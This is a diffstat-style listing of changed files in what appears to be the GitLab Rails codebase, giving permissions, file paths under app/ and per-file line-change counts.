-rw-r--r--app/controllers/admin/services_controller.rb8
-rw-r--r--app/controllers/admin/users_controller.rb6
-rw-r--r--app/controllers/application_controller.rb5
-rw-r--r--app/controllers/boards/issues_controller.rb6
-rw-r--r--app/controllers/chaos_controller.rb6
-rw-r--r--app/controllers/clusters/clusters_controller.rb6
-rw-r--r--app/controllers/clusters/integrations_controller.rb34
-rw-r--r--app/controllers/concerns/authenticates_with_two_factor.rb2
-rw-r--r--app/controllers/concerns/creates_commit.rb24
-rw-r--r--app/controllers/concerns/enforces_admin_authentication.rb2
-rw-r--r--app/controllers/concerns/labels_as_hash.rb2
-rw-r--r--app/controllers/concerns/membership_actions.rb11
-rw-r--r--app/controllers/concerns/milestone_actions.rb2
-rw-r--r--app/controllers/concerns/redis_tracking.rb15
-rw-r--r--app/controllers/concerns/renders_commits.rb3
-rw-r--r--app/controllers/concerns/runner_setup_scripts.rb4
-rw-r--r--app/controllers/concerns/service_params.rb3
-rw-r--r--app/controllers/concerns/sessionless_authentication.rb2
-rw-r--r--app/controllers/customers_dot/proxy_controller.rb21
-rw-r--r--app/controllers/graphql_controller.rb23
-rw-r--r--app/controllers/groups/boards_controller.rb2
-rw-r--r--app/controllers/groups/clusters/integrations_controller.rb18
-rw-r--r--app/controllers/groups/email_campaigns_controller.rb22
-rw-r--r--app/controllers/groups/labels_controller.rb3
-rw-r--r--app/controllers/groups/settings/applications_controller.rb75
-rw-r--r--app/controllers/groups/settings/ci_cd_controller.rb10
-rw-r--r--app/controllers/groups/settings/integrations_controller.rb2
-rw-r--r--app/controllers/groups/settings/packages_and_registries_controller.rb1
-rw-r--r--app/controllers/groups/settings/repository_controller.rb1
-rw-r--r--app/controllers/groups/shared_projects_controller.rb14
-rw-r--r--app/controllers/groups/variables_controller.rb2
-rw-r--r--app/controllers/groups_controller.rb33
-rw-r--r--app/controllers/ide_controller.rb16
-rw-r--r--app/controllers/import/gitlab_projects_controller.rb6
-rw-r--r--app/controllers/import/manifest_controller.rb6
-rw-r--r--app/controllers/invites_controller.rb26
-rw-r--r--app/controllers/ldap/omniauth_callbacks_controller.rb2
-rw-r--r--app/controllers/omniauth_callbacks_controller.rb4
-rw-r--r--app/controllers/profiles/notifications_controller.rb23
-rw-r--r--app/controllers/projects/blame_controller.rb2
-rw-r--r--app/controllers/projects/blob_controller.rb2
-rw-r--r--app/controllers/projects/boards_controller.rb3
-rw-r--r--app/controllers/projects/branches_controller.rb2
-rw-r--r--app/controllers/projects/ci/pipeline_editor_controller.rb1
-rw-r--r--app/controllers/projects/clusters/integrations_controller.rb15
-rw-r--r--app/controllers/projects/commit_controller.rb39
-rw-r--r--app/controllers/projects/commits_controller.rb8
-rw-r--r--app/controllers/projects/compare_controller.rb2
-rw-r--r--app/controllers/projects/forks_controller.rb16
-rw-r--r--app/controllers/projects/issues_controller.rb34
-rw-r--r--app/controllers/projects/jobs_controller.rb5
-rw-r--r--app/controllers/projects/labels_controller.rb11
-rw-r--r--app/controllers/projects/logs_controller.rb2
-rw-r--r--app/controllers/projects/merge_requests/content_controller.rb11
-rw-r--r--app/controllers/projects/merge_requests/creations_controller.rb17
-rw-r--r--app/controllers/projects/merge_requests_controller.rb48
-rw-r--r--app/controllers/projects/network_controller.rb5
-rw-r--r--app/controllers/projects/notes_controller.rb6
-rw-r--r--app/controllers/projects/packages/infrastructure_registry_controller.rb9
-rw-r--r--app/controllers/projects/pipelines_controller.rb43
-rw-r--r--app/controllers/projects/registry/repositories_controller.rb15
-rw-r--r--app/controllers/projects/releases_controller.rb1
-rw-r--r--app/controllers/projects/services_controller.rb2
-rw-r--r--app/controllers/projects/settings/access_tokens_controller.rb9
-rw-r--r--app/controllers/projects/settings/ci_cd_controller.rb3
-rw-r--r--app/controllers/projects/settings/operations_controller.rb1
-rw-r--r--app/controllers/projects/settings/repository_controller.rb1
-rw-r--r--app/controllers/projects/tags_controller.rb3
-rw-r--r--app/controllers/projects_controller.rb12
-rw-r--r--app/controllers/registrations/experience_levels_controller.rb2
-rw-r--r--app/controllers/registrations/welcome_controller.rb2
-rw-r--r--app/controllers/registrations_controller.rb6
-rw-r--r--app/controllers/root_controller.rb5
-rw-r--r--app/controllers/search_controller.rb6
-rw-r--r--app/controllers/whats_new_controller.rb12
-rw-r--r--app/experiments/application_experiment.rb2
-rw-r--r--app/experiments/members/invite_email_experiment.rb77
-rw-r--r--app/experiments/strategy/round_robin.rb78
-rw-r--r--app/finders/alert_management/http_integrations_finder.rb2
-rw-r--r--app/finders/applications_finder.rb2
-rw-r--r--app/finders/award_emojis_finder.rb3
-rw-r--r--app/finders/branches_finder.rb3
-rw-r--r--app/finders/ci/commit_statuses_finder.rb4
-rw-r--r--app/finders/ci/daily_build_group_report_results_finder.rb6
-rw-r--r--app/finders/ci/pipelines_finder.rb2
-rw-r--r--app/finders/ci/variables_finder.rb14
-rw-r--r--app/finders/concerns/finder_with_group_hierarchy.rb74
-rw-r--r--app/finders/concerns/merged_at_filter.rb20
-rw-r--r--app/finders/concerns/packages/finder_helper.rb18
-rw-r--r--app/finders/context_commits_finder.rb18
-rw-r--r--app/finders/deployments_finder.rb4
-rw-r--r--app/finders/environments_by_deployments_finder.rb67
-rw-r--r--app/finders/environments_finder.rb67
-rw-r--r--app/finders/git_refs_finder.rb12
-rw-r--r--app/finders/group_members_finder.rb54
-rw-r--r--app/finders/group_projects_finder.rb3
-rw-r--r--app/finders/issuable_finder.rb17
-rw-r--r--app/finders/issues_finder.rb10
-rw-r--r--app/finders/labels_finder.rb80
-rw-r--r--app/finders/merge_request/metrics_finder.rb4
-rw-r--r--app/finders/merge_requests/by_approvals_finder.rb8
-rw-r--r--app/finders/merge_requests/oldest_per_commit_finder.rb19
-rw-r--r--app/finders/metrics/dashboards/annotations_finder.rb3
-rw-r--r--app/finders/metrics/users_starred_dashboards_finder.rb4
-rw-r--r--app/finders/namespaces/projects_finder.rb3
-rw-r--r--app/finders/notes_finder.rb12
-rw-r--r--app/finders/packages/conan/package_file_finder.rb3
-rw-r--r--app/finders/packages/debian/distributions_finder.rb6
-rw-r--r--app/finders/packages/go/package_finder.rb29
-rw-r--r--app/finders/packages/go/version_finder.rb3
-rw-r--r--app/finders/packages/group_packages_finder.rb3
-rw-r--r--app/finders/packages/maven/package_finder.rb37
-rw-r--r--app/finders/packages/package_file_finder.rb4
-rw-r--r--app/finders/packages/packages_finder.rb3
-rw-r--r--app/finders/pending_todos_finder.rb15
-rw-r--r--app/finders/projects/export_job_finder.rb4
-rw-r--r--app/finders/projects/prometheus/alerts_finder.rb4
-rw-r--r--app/finders/projects_finder.rb5
-rw-r--r--app/finders/prometheus_metrics_finder.rb4
-rw-r--r--app/finders/protected_branches_finder.rb4
-rw-r--r--app/finders/releases_finder.rb3
-rw-r--r--app/finders/repositories/branch_names_finder.rb24
-rw-r--r--app/finders/repositories/changelog_tag_finder.rb82
-rw-r--r--app/finders/repositories/previous_tag_finder.rb57
-rw-r--r--app/finders/tags_finder.rb3
-rw-r--r--app/finders/user_group_notification_settings_finder.rb17
-rw-r--r--app/finders/users_star_projects_finder.rb4
-rw-r--r--app/graphql/gitlab_schema.rb13
-rw-r--r--app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/create.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/update.rb2
-rw-r--r--app/graphql/mutations/base_mutation.rb29
-rw-r--r--app/graphql/mutations/boards/issues/issue_move_list.rb15
-rw-r--r--app/graphql/mutations/ci/ci_cd_settings_update.rb12
-rw-r--r--app/graphql/mutations/concerns/mutations/assignable.rb46
-rw-r--r--app/graphql/mutations/concerns/mutations/can_mutate_spammable.rb41
-rw-r--r--app/graphql/mutations/concerns/mutations/spam_protection.rb67
-rw-r--r--app/graphql/mutations/container_repositories/destroy_tags.rb2
-rw-r--r--app/graphql/mutations/issues/move.rb2
-rw-r--r--app/graphql/mutations/issues/set_assignees.rb13
-rw-r--r--app/graphql/mutations/merge_requests/accept.rb3
-rw-r--r--app/graphql/mutations/merge_requests/set_assignees.rb2
-rw-r--r--app/graphql/mutations/release_asset_links/delete.rb40
-rw-r--r--app/graphql/mutations/snippets/create.rb13
-rw-r--r--app/graphql/mutations/snippets/update.rb13
-rw-r--r--app/graphql/queries/pipelines/get_pipeline_details.query.graphql1
-rw-r--r--app/graphql/resolvers/alert_management/http_integrations_resolver.rb30
-rw-r--r--app/graphql/resolvers/alert_management/integrations_resolver.rb43
-rw-r--r--app/graphql/resolvers/base_resolver.rb24
-rw-r--r--app/graphql/resolvers/blobs_resolver.rb37
-rw-r--r--app/graphql/resolvers/board_lists_resolver.rb18
-rw-r--r--app/graphql/resolvers/board_resolver.rb2
-rw-r--r--app/graphql/resolvers/ci/config_resolver.rb6
-rw-r--r--app/graphql/resolvers/ci/jobs_resolver.rb13
-rw-r--r--app/graphql/resolvers/ci/pipeline_stages_resolver.rb2
-rw-r--r--app/graphql/resolvers/ci/runner_platforms_resolver.rb3
-rw-r--r--app/graphql/resolvers/ci/runner_setup_resolver.rb43
-rw-r--r--app/graphql/resolvers/ci/test_report_summary_resolver.rb17
-rw-r--r--app/graphql/resolvers/ci/test_suite_resolver.rb40
-rw-r--r--app/graphql/resolvers/concerns/board_issue_filterable.rb13
-rw-r--r--app/graphql/resolvers/concerns/issue_resolver_arguments.rb33
-rw-r--r--app/graphql/resolvers/concerns/looks_ahead.rb15
-rw-r--r--app/graphql/resolvers/concerns/manual_authorization.rb11
-rw-r--r--app/graphql/resolvers/concerns/resolves_merge_requests.rb3
-rw-r--r--app/graphql/resolvers/concerns/resolves_snippets.rb2
-rw-r--r--app/graphql/resolvers/echo_resolver.rb6
-rw-r--r--app/graphql/resolvers/environments_resolver.rb2
-rw-r--r--app/graphql/resolvers/group_members_resolver.rb6
-rw-r--r--app/graphql/resolvers/group_merge_requests_resolver.rb2
-rw-r--r--app/graphql/resolvers/group_milestones_resolver.rb28
-rw-r--r--app/graphql/resolvers/issues_resolver.rb3
-rw-r--r--app/graphql/resolvers/members_resolver.rb6
-rw-r--r--app/graphql/resolvers/merge_request_resolver.rb8
-rw-r--r--app/graphql/resolvers/merge_requests_resolver.rb39
-rw-r--r--app/graphql/resolvers/metrics/dashboard_resolver.rb9
-rw-r--r--app/graphql/resolvers/milestones_resolver.rb4
-rw-r--r--app/graphql/resolvers/package_details_resolver.rb10
-rw-r--r--app/graphql/resolvers/project_jobs_resolver.rb41
-rw-r--r--app/graphql/resolvers/project_pipeline_resolver.rb2
-rw-r--r--app/graphql/resolvers/projects/services_resolver.rb12
-rw-r--r--app/graphql/resolvers/repository_branch_names_resolver.rb17
-rw-r--r--app/graphql/resolvers/snippets/blobs_resolver.rb3
-rw-r--r--app/graphql/resolvers/timelog_resolver.rb112
-rw-r--r--app/graphql/resolvers/user_merge_requests_resolver_base.rb25
-rw-r--r--app/graphql/resolvers/user_starred_projects_resolver.rb6
-rw-r--r--app/graphql/resolvers/users/snippets_resolver.rb7
-rw-r--r--app/graphql/types/base_argument.rb4
-rw-r--r--app/graphql/types/base_enum.rb27
-rw-r--r--app/graphql/types/base_field.rb41
-rw-r--r--app/graphql/types/base_interface.rb6
-rw-r--r--app/graphql/types/base_object.rb8
-rw-r--r--app/graphql/types/base_union.rb3
-rw-r--r--app/graphql/types/board_type.rb6
-rw-r--r--app/graphql/types/boards/assignee_wildcard_id_enum.rb13
-rw-r--r--app/graphql/types/boards/board_issuable_input_base_type.rb20
-rw-r--r--app/graphql/types/boards/board_issue_input_base_type.rb17
-rw-r--r--app/graphql/types/boards/board_issue_input_type.rb13
-rw-r--r--app/graphql/types/boards/negated_board_issue_input_type.rb10
-rw-r--r--app/graphql/types/ci/job_status_enum.rb15
-rw-r--r--app/graphql/types/ci/job_type.rb99
-rw-r--r--app/graphql/types/ci/pipeline_config_source_enum.rb3
-rw-r--r--app/graphql/types/ci/pipeline_status_enum.rb4
-rw-r--r--app/graphql/types/ci/pipeline_type.rb45
-rw-r--r--app/graphql/types/ci/recent_failures_type.rb20
-rw-r--r--app/graphql/types/ci/stage_type.rb35
-rw-r--r--app/graphql/types/ci/test_case_status_enum.rb15
-rw-r--r--app/graphql/types/ci/test_case_type.rb41
-rw-r--r--app/graphql/types/ci/test_report_summary_type.rb19
-rw-r--r--app/graphql/types/ci/test_report_total_type.rb33
-rw-r--r--app/graphql/types/ci/test_suite_summary_type.rb41
-rw-r--r--app/graphql/types/ci/test_suite_type.rb41
-rw-r--r--app/graphql/types/concerns/find_closest.rb11
-rw-r--r--app/graphql/types/concerns/gitlab_style_deprecations.rb18
-rw-r--r--app/graphql/types/global_id_type.rb13
-rw-r--r--app/graphql/types/group_type.rb69
-rw-r--r--app/graphql/types/issue_type.rb3
-rw-r--r--app/graphql/types/issues/negated_issue_filter_input_type.rb27
-rw-r--r--app/graphql/types/jira_users_mapping_input_type.rb12
-rw-r--r--app/graphql/types/merge_request_review_state_enum.rb11
-rw-r--r--app/graphql/types/merge_request_state_enum.rb2
-rw-r--r--app/graphql/types/merge_request_type.rb7
-rw-r--r--app/graphql/types/merge_requests/reviewer_type.rb26
-rw-r--r--app/graphql/types/milestone_type.rb3
-rw-r--r--app/graphql/types/mutation_operation_mode_enum.rb8
-rw-r--r--app/graphql/types/mutation_type.rb1
-rw-r--r--app/graphql/types/packages/conan/file_metadatum_type.rb22
-rw-r--r--app/graphql/types/packages/conan/metadatum_file_type_enum.rb16
-rw-r--r--app/graphql/types/packages/conan/metadatum_type.rb22
-rw-r--r--app/graphql/types/packages/file_metadata_type.rb27
-rw-r--r--app/graphql/types/packages/metadata_type.rb4
-rw-r--r--app/graphql/types/packages/package_details_type.rb20
-rw-r--r--app/graphql/types/packages/package_file_type.rb36
-rw-r--r--app/graphql/types/packages/package_type.rb47
-rw-r--r--app/graphql/types/packages/package_without_versions_type.rb44
-rw-r--r--app/graphql/types/project_type.rb6
-rw-r--r--app/graphql/types/query_type.rb34
-rw-r--r--app/graphql/types/repository/blob_type.rb40
-rw-r--r--app/graphql/types/repository_type.rb5
-rw-r--r--app/graphql/types/sort_enum.rb32
-rw-r--r--app/graphql/types/timelog_type.rb42
-rw-r--r--app/graphql/types/user_merge_request_interaction_type.rb47
-rw-r--r--app/graphql/types/user_type.rb75
-rw-r--r--app/helpers/analytics/unique_visits_helper.rb2
-rw-r--r--app/helpers/appearances_helper.rb1
-rw-r--r--app/helpers/application_helper.rb14
-rw-r--r--app/helpers/application_settings_helper.rb4
-rw-r--r--app/helpers/avatars_helper.rb6
-rw-r--r--app/helpers/blob_helper.rb16
-rw-r--r--app/helpers/boards_helper.rb11
-rw-r--r--app/helpers/button_helper.rb4
-rw-r--r--app/helpers/ci/jobs_helper.rb15
-rw-r--r--app/helpers/ci/pipeline_editor_helper.rb18
-rw-r--r--app/helpers/ci/pipelines_helper.rb40
-rw-r--r--app/helpers/ci/runners_helper.rb31
-rw-r--r--app/helpers/clusters_helper.rb2
-rw-r--r--app/helpers/commits_helper.rb24
-rw-r--r--app/helpers/diff_helper.rb20
-rw-r--r--app/helpers/dropdowns_helper.rb4
-rw-r--r--app/helpers/events_helper.rb2
-rw-r--r--app/helpers/git_helper.rb3
-rw-r--r--app/helpers/gitlab_routing_helper.rb2
-rw-r--r--app/helpers/graph_helper.rb2
-rw-r--r--app/helpers/groups_helper.rb62
-rw-r--r--app/helpers/ide_helper.rb2
-rw-r--r--app/helpers/in_product_marketing_helper.rb19
-rw-r--r--app/helpers/issuables_helper.rb9
-rw-r--r--app/helpers/issues_helper.rb31
-rw-r--r--app/helpers/jira_connect_helper.rb16
-rw-r--r--app/helpers/learn_gitlab_helper.rb5
-rw-r--r--app/helpers/merge_requests_helper.rb32
-rw-r--r--app/helpers/namespaces_helper.rb27
-rw-r--r--app/helpers/nav_helper.rb6
-rw-r--r--app/helpers/packages_helper.rb3
-rw-r--r--app/helpers/page_layout_helper.rb11
-rw-r--r--app/helpers/preferences_helper.rb2
-rw-r--r--app/helpers/profiles_helper.rb14
-rw-r--r--app/helpers/projects_helper.rb16
-rw-r--r--app/helpers/search_helper.rb2
-rw-r--r--app/helpers/services_helper.rb50
-rw-r--r--app/helpers/sidebars_helper.rb42
-rw-r--r--app/helpers/snippets_helper.rb14
-rw-r--r--app/helpers/sorting_helper.rb2
-rw-r--r--app/helpers/submodule_helper.rb3
-rw-r--r--app/helpers/tab_helper.rb61
-rw-r--r--app/helpers/timeboxes_helper.rb11
-rw-r--r--app/helpers/todos_helper.rb20
-rw-r--r--app/helpers/tracking_helper.rb4
-rw-r--r--app/helpers/tree_helper.rb2
-rw-r--r--app/helpers/user_callouts_helper.rb13
-rw-r--r--app/helpers/whats_new_helper.rb12
-rw-r--r--app/helpers/wiki_helper.rb4
-rw-r--r--app/helpers/workhorse_helper.rb12
-rw-r--r--app/mailers/emails/in_product_marketing.rb7
-rw-r--r--app/mailers/emails/profile.rb24
-rw-r--r--app/mailers/notify.rb4
-rw-r--r--app/models/ability.rb3
-rw-r--r--app/models/application_record.rb10
-rw-r--r--app/models/application_setting.rb11
-rw-r--r--app/models/application_setting_implementation.rb13
-rw-r--r--app/models/audit_event_archived.rb10
-rw-r--r--app/models/blob.rb1
-rw-r--r--app/models/blob_viewer/dependency_manager.rb4
-rw-r--r--app/models/board.rb8
-rw-r--r--app/models/bulk_imports/entity.rb19
-rw-r--r--app/models/bulk_imports/stage.rb65
-rw-r--r--app/models/bulk_imports/tracker.rb25
-rw-r--r--app/models/ci/build.rb53
-rw-r--r--app/models/ci/build_dependencies.rb3
-rw-r--r--app/models/ci/build_trace_chunk.rb4
-rw-r--r--app/models/ci/build_trace_chunks/redis.rb2
-rw-r--r--app/models/ci/group.rb7
-rw-r--r--app/models/ci/job_artifact.rb8
-rw-r--r--app/models/ci/pipeline.rb61
-rw-r--r--app/models/ci/pipeline_artifact.rb2
-rw-r--r--app/models/ci/pipeline_schedule.rb2
-rw-r--r--app/models/ci/processable.rb8
-rw-r--r--app/models/ci/runner.rb2
-rw-r--r--app/models/ci/stage.rb11
-rw-r--r--app/models/ci/test_case.rb35
-rw-r--r--app/models/ci/test_case_failure.rb29
-rw-r--r--app/models/ci/unit_test.rb46
-rw-r--r--app/models/ci/unit_test_failure.rb29
-rw-r--r--app/models/clusters/agent_token.rb30
-rw-r--r--app/models/clusters/applications/prometheus.rb39
-rw-r--r--app/models/clusters/applications/runner.rb2
-rw-r--r--app/models/clusters/cluster.rb16
-rw-r--r--app/models/clusters/clusters_hierarchy.rb2
-rw-r--r--app/models/clusters/concerns/application_status.rb8
-rw-r--r--app/models/clusters/concerns/application_version.rb6
-rw-r--r--app/models/clusters/concerns/prometheus_client.rb50
-rw-r--r--app/models/clusters/integrations/prometheus.rb21
-rw-r--r--app/models/commit.rb11
-rw-r--r--app/models/commit_status.rb33
-rw-r--r--app/models/concerns/avatarable.rb1
-rw-r--r--app/models/concerns/boards/listable.rb1
-rw-r--r--app/models/concerns/bulk_member_access_load.rb26
-rw-r--r--app/models/concerns/cache_markdown_field.rb4
-rw-r--r--app/models/concerns/cascading_namespace_setting_attribute.rb241
-rw-r--r--app/models/concerns/ci/artifactable.rb7
-rw-r--r--app/models/concerns/ci/has_status.rb13
-rw-r--r--app/models/concerns/counter_attribute.rb2
-rw-r--r--app/models/concerns/deprecated_assignee.rb2
-rw-r--r--app/models/concerns/enums/ci/commit_status.rb2
-rw-r--r--app/models/concerns/enums/ci/pipeline.rb4
-rw-r--r--app/models/concerns/has_repository.rb9
-rw-r--r--app/models/concerns/has_timelogs_report.rb20
-rw-r--r--app/models/concerns/integration.rb4
-rw-r--r--app/models/concerns/issuable.rb14
-rw-r--r--app/models/concerns/loaded_in_group_list.rb4
-rw-r--r--app/models/concerns/milestoneable.rb4
-rw-r--r--app/models/concerns/milestoneish.rb6
-rw-r--r--app/models/concerns/object_storable.rb10
-rw-r--r--app/models/concerns/participable.rb35
-rw-r--r--app/models/concerns/protected_ref.rb2
-rw-r--r--app/models/concerns/safe_url.rb4
-rw-r--r--app/models/concerns/sidebars/container_with_html_options.rb42
-rw-r--r--app/models/concerns/sidebars/has_active_routes.rb16
-rw-r--r--app/models/concerns/sidebars/has_hint.rb16
-rw-r--r--app/models/concerns/sidebars/has_icon.rb27
-rw-r--r--app/models/concerns/sidebars/has_pill.rb21
-rw-r--r--app/models/concerns/sidebars/positionable_list.rb37
-rw-r--r--app/models/concerns/sidebars/renderable.rb12
-rw-r--r--app/models/concerns/sortable.rb1
-rw-r--r--app/models/concerns/subscribable.rb32
-rw-r--r--app/models/concerns/taskable.rb3
-rw-r--r--app/models/concerns/token_authenticatable_strategies/encrypted.rb17
-rw-r--r--app/models/concerns/token_authenticatable_strategies/encryption_helper.rb26
-rw-r--r--app/models/concerns/vulnerability_finding_helpers.rb7
-rw-r--r--app/models/concerns/vulnerability_finding_signature_helpers.rb7
-rw-r--r--app/models/deploy_key.rb2
-rw-r--r--app/models/deployment.rb33
-rw-r--r--app/models/design_management/design_action.rb4
-rw-r--r--app/models/design_management/design_at_version.rb3
-rw-r--r--app/models/design_management/repository.rb2
-rw-r--r--app/models/design_management/version.rb4
-rw-r--r--app/models/environment.rb12
-rw-r--r--app/models/experiment.rb17
-rw-r--r--app/models/external_issue.rb3
-rw-r--r--app/models/gpg_key.rb4
-rw-r--r--app/models/group.rb62
-rw-r--r--app/models/internal_id.rb35
-rw-r--r--app/models/issue.rb24
-rw-r--r--app/models/key.rb2
-rw-r--r--app/models/list.rb1
-rw-r--r--app/models/member.rb15
-rw-r--r--app/models/members/group_member.rb4
-rw-r--r--app/models/members/last_group_owner_assigner.rb46
-rw-r--r--app/models/members/project_member.rb2
-rw-r--r--app/models/merge_request.rb39
-rw-r--r--app/models/milestone.rb4
-rw-r--r--app/models/namespace.rb41
-rw-r--r--app/models/namespace/admin_note.rb7
-rw-r--r--app/models/namespace/traversal_hierarchy.rb26
-rw-r--r--app/models/namespace_setting.rb14
-rw-r--r--app/models/namespaces/traversal/linear.rb93
-rw-r--r--app/models/namespaces/traversal/recursive.rb15
-rw-r--r--app/models/note.rb19
-rw-r--r--app/models/notification_setting.rb4
-rw-r--r--app/models/packages/debian/file_entry.rb44
-rw-r--r--app/models/packages/debian/file_metadatum.rb2
-rw-r--r--app/models/packages/dependency.rb4
-rw-r--r--app/models/packages/go/module_version.rb4
-rw-r--r--app/models/packages/maven/metadatum.rb1
-rw-r--r--app/models/packages/package.rb26
-rw-r--r--app/models/packages/tag.rb2
-rw-r--r--app/models/pages/lookup_path.rb6
-rw-r--r--app/models/pages_deployment.rb2
-rw-r--r--app/models/preloaders/labels_preloader.rb34
-rw-r--r--app/models/preloaders/user_max_access_level_in_projects_preloader.rb25
-rw-r--r--app/models/project.rb69
-rw-r--r--app/models/project_feature.rb3
-rw-r--r--app/models/project_feature_usage.rb25
-rw-r--r--app/models/project_services/asana_service.rb24
-rw-r--r--app/models/project_services/assembla_service.rb2
-rw-r--r--app/models/project_services/bamboo_service.rb41
-rw-r--r--app/models/project_services/chat_message/merge_message.rb2
-rw-r--r--app/models/project_services/chat_notification_service.rb8
-rw-r--r--app/models/project_services/ci_service.rb2
-rw-r--r--app/models/project_services/custom_issue_tracker_service.rb6
-rw-r--r--app/models/project_services/datadog_service.rb4
-rw-r--r--app/models/project_services/discord_service.rb18
-rw-r--r--app/models/project_services/drone_ci_service.rb12
-rw-r--r--app/models/project_services/emails_on_push_service.rb30
-rw-r--r--app/models/project_services/external_wiki_service.rb16
-rw-r--r--app/models/project_services/hipchat_service.rb2
-rw-r--r--app/models/project_services/irker_service.rb2
-rw-r--r--app/models/project_services/issue_tracker_service.rb6
-rw-r--r--app/models/project_services/jenkins_service.rb40
-rw-r--r--app/models/project_services/jira_service.rb112
-rw-r--r--app/models/project_services/jira_tracker_data.rb21
-rw-r--r--app/models/project_services/mattermost_service.rb19
-rw-r--r--app/models/project_services/mattermost_slash_commands_service.rb2
-rw-r--r--app/models/project_services/microsoft_teams_service.rb14
-rw-r--r--app/models/project_services/mock_ci_service.rb7
-rw-r--r--app/models/project_services/pipelines_email_service.rb8
-rw-r--r--app/models/project_services/pushover_service.rb2
-rw-r--r--app/models/project_services/redmine_service.rb8
-rw-r--r--app/models/project_services/slack_service.rb4
-rw-r--r--app/models/project_services/teamcity_service.rb38
-rw-r--r--app/models/project_services/youtrack_service.rb4
-rw-r--r--app/models/project_team.rb4
-rw-r--r--app/models/protected_branch.rb2
-rw-r--r--app/models/raw_usage_data.rb4
-rw-r--r--app/models/release.rb2
-rw-r--r--app/models/release_highlight.rb23
-rw-r--r--app/models/remote_mirror.rb39
-rw-r--r--app/models/repository.rb16
-rw-r--r--app/models/sent_notification.rb2
-rw-r--r--app/models/service.rb12
-rw-r--r--app/models/sidebars/context.rb21
-rw-r--r--app/models/sidebars/menu.rb82
-rw-r--r--app/models/sidebars/menu_item.rb21
-rw-r--r--app/models/sidebars/panel.rb75
-rw-r--r--app/models/sidebars/projects/context.rb11
-rw-r--r--app/models/sidebars/projects/menus/learn_gitlab/menu.rb41
-rw-r--r--app/models/sidebars/projects/menus/project_overview/menu.rb45
-rw-r--r--app/models/sidebars/projects/menus/project_overview/menu_items/activity.rb35
-rw-r--r--app/models/sidebars/projects/menus/project_overview/menu_items/details.rb36
-rw-r--r--app/models/sidebars/projects/menus/project_overview/menu_items/releases.rb40
-rw-r--r--app/models/sidebars/projects/menus/scope/menu.rb21
-rw-r--r--app/models/sidebars/projects/panel.rb25
-rw-r--r--app/models/timelog.rb4
-rw-r--r--app/models/todo.rb18
-rw-r--r--app/models/user.rb76
-rw-r--r--app/models/user_callout.rb10
-rw-r--r--app/models/user_detail.rb2
-rw-r--r--app/models/users/in_product_marketing_email.rb49
-rw-r--r--app/models/users/merge_request_interaction.rb44
-rw-r--r--app/models/wiki.rb59
-rw-r--r--app/policies/base_policy.rb2
-rw-r--r--app/policies/group_member_policy.rb2
-rw-r--r--app/policies/group_policy.rb20
-rw-r--r--app/policies/note_policy.rb2
-rw-r--r--app/policies/packages/conan/file_metadatum_policy.rb8
-rw-r--r--app/policies/packages/conan/metadatum_policy.rb8
-rw-r--r--app/policies/packages/package_file_policy.rb6
-rw-r--r--app/policies/project_policy.rb27
-rw-r--r--app/policies/timelog_policy.rb5
-rw-r--r--app/presenters/ci/build_runner_presenter.rb18
-rw-r--r--app/presenters/ci/pipeline_presenter.rb4
-rw-r--r--app/presenters/clusters/cluster_presenter.rb20
-rw-r--r--app/presenters/clusters/integration_presenter.rb11
-rw-r--r--app/presenters/commit_status_presenter.rb4
-rw-r--r--app/presenters/dev_ops_report/metric_presenter.rb2
-rw-r--r--app/presenters/packages/detail/package_presenter.rb1
-rw-r--r--app/presenters/packages/npm/package_presenter.rb4
-rw-r--r--app/presenters/packages/nuget/packages_metadata_presenter.rb2
-rw-r--r--app/presenters/project_presenter.rb16
-rw-r--r--app/presenters/projects/settings/deploy_keys_presenter.rb29
-rw-r--r--app/presenters/search_service_presenter.rb6
-rw-r--r--app/presenters/user_presenter.rb6
-rw-r--r--app/serializers/README.md2
-rw-r--r--app/serializers/admin/user_entity.rb2
-rw-r--r--app/serializers/build_artifact_entity.rb10
-rw-r--r--app/serializers/build_details_entity.rb8
-rw-r--r--app/serializers/ci/group_variable_entity.rb1
-rw-r--r--app/serializers/diff_file_entity.rb17
-rw-r--r--app/serializers/discussion_entity.rb8
-rw-r--r--app/serializers/environment_serializer.rb54
-rw-r--r--app/serializers/fork_namespace_entity.rb2
-rw-r--r--app/serializers/member_entity.rb2
-rw-r--r--app/serializers/member_serializer.rb6
-rw-r--r--app/serializers/merge_request_poll_cached_widget_entity.rb46
-rw-r--r--app/serializers/merge_request_poll_widget_entity.rb47
-rw-r--r--app/serializers/merge_request_widget_entity.rb2
-rw-r--r--app/serializers/merge_requests/pipeline_entity.rb4
-rw-r--r--app/serializers/note_entity.rb3
-rw-r--r--app/serializers/pipeline_details_entity.rb2
-rw-r--r--app/serializers/pipeline_serializer.rb1
-rw-r--r--app/serializers/runner_entity.rb2
-rw-r--r--app/serializers/service_field_entity.rb29
-rw-r--r--app/services/application_settings/base_service.rb4
-rw-r--r--app/services/authorized_project_update/find_records_due_for_refresh_service.rb92
-rw-r--r--app/services/base_container_service.rb4
-rw-r--r--app/services/base_service.rb4
-rw-r--r--app/services/boards/base_item_move_service.rb20
-rw-r--r--app/services/boards/base_service.rb4
-rw-r--r--app/services/boards/destroy_service.rb8
-rw-r--r--app/services/boards/issues/move_service.rb23
-rw-r--r--app/services/boards/lists/base_update_service.rb58
-rw-r--r--app/services/boards/lists/list_service.rb10
-rw-r--r--app/services/boards/lists/update_service.rb45
-rw-r--r--app/services/ci/abort_pipelines_service.rb32
-rw-r--r--app/services/ci/abort_project_pipelines_service.rb25
-rw-r--r--app/services/ci/after_requeue_job_service.rb28
-rw-r--r--app/services/ci/cancel_user_pipelines_service.rb18
-rw-r--r--app/services/ci/create_job_artifacts_service.rb172
-rw-r--r--app/services/ci/create_pipeline_service.rb3
-rw-r--r--app/services/ci/create_web_ide_terminal_service.rb3
-rw-r--r--app/services/ci/destroy_expired_job_artifacts_service.rb56
-rw-r--r--app/services/ci/disable_user_pipeline_schedules_service.rb11
-rw-r--r--app/services/ci/drop_pipeline_service.rb37
-rw-r--r--app/services/ci/generate_coverage_reports_service.rb8
-rw-r--r--app/services/ci/job_artifacts/create_service.rb174
-rw-r--r--app/services/ci/job_artifacts/destroy_all_expired_service.rb58
-rw-r--r--app/services/ci/job_artifacts/destroy_batch_service.rb74
-rw-r--r--app/services/ci/job_artifacts_destroy_batch_service.rb72
-rw-r--r--app/services/ci/pipeline_artifacts/destroy_all_expired_service.rb52
